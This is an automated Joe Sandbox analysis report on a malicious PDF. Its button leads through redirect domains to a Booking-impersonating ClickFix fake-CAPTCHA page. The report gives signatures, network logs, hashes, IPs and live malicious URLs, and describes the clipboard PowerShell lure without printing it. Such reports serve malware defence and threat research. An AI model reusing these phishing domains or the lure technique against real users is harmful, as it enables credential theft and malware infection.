Edit tour

Windows Analysis Report
iRMbIIEjhP.pdf

Overview

General Information

Sample name:	iRMbIIEjhP.pdf renamed because original name is a hash value
Original sample name:	5339ccf37589e64cee452ccf84b5b689c52a49b75d0244edb20dad60e99422dd.pdf
Analysis ID:	1592941
MD5:	d7b0ac7ee79ecf1fe26e54c89c5c7245
SHA1:	62b6b13f70d30c215d5f30d8ec23ed28a9a36cc2
SHA256:	5339ccf37589e64cee452ccf84b5b689c52a49b75d0244edb20dad60e99422dd
Tags:	bookingItalianPastapdfuser-JAMESWT_MHT
Infos:

Errors Corrupt sample or wrongly selected analyzer.

Detection

CAPTCHA Scam ClickFix

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detect drive by download via clipboard copy & paste

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

AI detected suspicious URL

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Drops PE files

Drops PE files to the windows directory (C:\Windows)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PDF has an OpenAction (likely to launch a dropper script)

PE file contains more sections than normal

PE file contains sections with non-standard names

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 3920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\iRMbIIEjhP.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3064 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7244 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1508,i,8264622678138486168,971824510613183442,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7724 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#7ihbo" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2520,i,9976915525274287468,7701415393893872558,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_277	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

HTML

Source	Rule	Description	Author	Strings
2.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Suricata Signatures

ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-16T17:20:01.109722+0100	2859486	1	A Network Trojan was detected	104.21.94.195	443	192.168.2.5	61469	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://fixecondfirbook.info/

Joe Sandbox AI: Score: 9 Reasons: The brand 'Booking' is well-known and is associated with the legitimate domain 'booking.com'., The URL 'fixecondfirbook.info' does not match the legitimate domain 'booking.com'., The URL contains suspicious elements such as misspellings and unusual domain extension '.info'., The domain name 'fixecondfirbook.info' does not have any clear association with the brand 'Booking'. DOM: 2.1.pages.csv

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_277, type: DROPPED

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains prominent button: 'view complaint'

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://clintonmakes.com/215c/#7ihbo... This script demonstrates high-risk behavior, including dynamic code execution and data exfiltration. It attempts to redirect the user to an untrusted domain, which is a strong indicator of malicious intent.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fixecondfirbook.info/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The `copyToClipboard()` function generates a command that could be used for malicious purposes, and the script also manipulates the DOM to hide the reCAPTCHA checkbox and display a custom SVG element. These behaviors, combined with the suspicious intent and lack of transparency, indicate a high-risk script that should be further investigated.

AI detected suspicious URL

Source: URL	Joe Sandbox AI: AI detected Brand spoofing attempt in URL: https://fixecondfirbook.info
Source: URL	Joe Sandbox AI: AI detected Typosquatting in URL: https://fixecondfirbook.info

Source: https://fixecondfirbook.info/

HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49720 version: TLS 1.0

Source:

Binary string: Google.Widevine.CDM.dll.pdb source: Google.Widevine.CDM.dll.8.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2859486 - Severity 1 - ETPRO MALWARE Observed ClickFix Powershell Delivery Page Inbound : 104.21.94.195:443 -> 192.168.2.5:61469

Source: global traffic	TCP traffic: 192.168.2.5:62259 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:58762 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:55665 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:61397 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 104.21.94.195 104.21.94.195
Source: Joe Sandbox View	IP Address: 66.63.187.216 66.63.187.216

Source: Joe Sandbox View

JA3 fingerprint: 1138de370e523e824bbca92d049a3777

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49720 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /215c/ HTTP/1.1Host: clintonmakes.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bookid82291 HTTP/1.1Host: minedudiser.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: http://clintonmakes.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: http://clintonmakes.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /languageRevert.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captchaHandler.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /captchaHandler.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /languageRevert.js HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fixecondfirbook.infoConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1Host: q-xx.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /send-ip HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org
Source: global traffic	HTTP traffic detected: GET /215c/ HTTP/1.1Host: clintonmakes.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: f5510ad44=0ad448213ea0
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: clintonmakes.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://clintonmakes.com/215c/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: clintonmakes.com
Source: global traffic	DNS traffic detected: DNS query: minedudiser.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: fixecondfirbook.info
Source: global traffic	DNS traffic detected: DNS query: q-xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /send-ip HTTP/1.1Host: fixecondfirbook.infoConnection: keep-aliveContent-Length: 0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://fixecondfirbook.infoSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://fixecondfirbook.info/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 Jan 2025 16:21:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: ExpressContent-Security-Policy: default-src 'none'X-Content-Type-Options: nosniffcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SLfPgUYdPex1mDGZoBoIwG9MCK2Kiv2nLkIMNZUIGzYXfiWgs2pNc1xr4ght6QJZa6Vs7TcOPei3anbGU9SlRye4B0hXpVlgFarjkw7L9OTmqvxqm4rDPiEP6pis1W53%2FAHCbGGSSA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 902f700428c981c9-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=7271&min_rtt=7238&rtt_var=2781&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=929&delivery_rate=388918&cwnd=32&unsent_bytes=0&cid=5d04959f7e27764e&ts=376&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 16 Jan 2025 16:19:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedserver: Apache/2.4.37 (Rocky Linux)Content-Encoding: gzipData Raw: 61 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d ce 4d 0f 82 30 0c 06 e0 bf 52 b9 4b d1 70 6c 76 90 8f 48 82 48 cc 38 78 c4 ac 04 12 64 c8 86 c6 7f ef 74 17 2f 4d da f7 c9 9b d2 26 3d 27 f2 5a 67 70 94 a7 12 ea e6 50 16 09 04 5b c4 22 93 39 62 2a 53 9f ec c3 08 31 ab 02 41 bd bd 8f 6e 72 ab 04 d9 c1 8e 2c e2 28 86 4a 5b c8 f5 3a 29 42 7f 24 f4 e4 a6 d5 db f1 9d f8 13 6e a3 59 c8 9e 61 e1 c7 ca c6 b2 82 e6 52 c2 ab 35 30 39 d6 7d 19 e8 09 6c 3f 18 30 bc 3c 79 09 09 67 57 ea eb f0 f7 04 7c 00 b6 fe c5 76 be 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a8MM0RKplvHH8xdt/M&='ZgpP["9b*S1Anr,(J[:)B$nYaR509}l?0<ygW\|v0

Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Google.Widevine.CDM.dll.8.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 2D85F72862B55C4EADD9E66E06947F3D0.3.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: sets.json.8.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.8.dr	String found in binary or memory: https://24.hu
Source: sets.json.8.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.8.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.8.dr	String found in binary or memory: https://alice.tw
Source: sets.json.8.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.8.dr	String found in binary or memory: https://autobild.de
Source: sets.json.8.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.8.dr	String found in binary or memory: https://bild.de
Source: sets.json.8.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.8.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.8.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.8.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.8.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.8.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.8.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.8.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.8.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.8.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.8.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.8.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.8.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.8.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.8.dr	String found in binary or memory: https://cardsayings.net
Source: sets.json.8.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.8.dr	String found in binary or memory: https://chennien.com
Source: sets.json.8.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.8.dr	String found in binary or memory: https://clarosports.com
Source: iRMbIIEjhP.pdf	String found in binary or memory: https://clintonmakes.com/215c/#7ihbo)
Source: sets.json.8.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.8.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.8.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.8.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.8.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.8.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.8.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.8.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.8.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.8.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.8.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.8.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.8.dr	String found in binary or memory: https://css-load.com
Source: sets.json.8.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.8.dr	String found in binary or memory: https://deere.com
Source: sets.json.8.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.8.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.8.dr	String found in binary or memory: https://drimer.io
Source: sets.json.8.dr	String found in binary or memory: https://drimer.travel
Source: sets.json.8.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.8.dr	String found in binary or memory: https://een.be
Source: sets.json.8.dr	String found in binary or memory: https://efront.com
Source: sets.json.8.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.8.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.8.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.8.dr	String found in binary or memory: https://ella.sv
Source: sets.json.8.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.8.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.8.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.8.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.8.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.8.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.8.dr	String found in binary or memory: https://finn.no
Source: sets.json.8.dr	String found in binary or memory: https://firstlook.biz
Source: sets.json.8.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.8.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.8.dr	String found in binary or memory: https://gettalkdesk.com
Source: sets.json.8.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.8.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.8.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.8.dr	String found in binary or memory: https://grid.id
Source: sets.json.8.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.8.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.8.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.8.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.8.dr	String found in binary or memory: https://hapara.com
Source: sets.json.8.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.8.dr	String found in binary or memory: https://hc1.com
Source: sets.json.8.dr	String found in binary or memory: https://hc1.global
Source: sets.json.8.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.8.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.8.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.8.dr	String found in binary or memory: https://hearty.app
Source: sets.json.8.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.8.dr	String found in binary or memory: https://hearty.me
Source: sets.json.8.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.8.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.8.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.8.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.8.dr	String found in binary or memory: https://hj.rs
Source: sets.json.8.dr	String found in binary or memory: https://hjck.com
Source: sets.json.8.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.8.dr	String found in binary or memory: https://html-load.com
Source: sets.json.8.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.8.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.8.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.8.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.8.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.8.dr	String found in binary or memory: https://img-load.com
Source: sets.json.8.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.8.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.8.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.8.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.8.dr	String found in binary or memory: https://interia.pl
Source: sets.json.8.dr	String found in binary or memory: https://intoday.in
Source: sets.json.8.dr	String found in binary or memory: https://iolam.it
Source: sets.json.8.dr	String found in binary or memory: https://ishares.com
Source: sets.json.8.dr	String found in binary or memory: https://jagran.com
Source: sets.json.8.dr	String found in binary or memory: https://johndeere.com
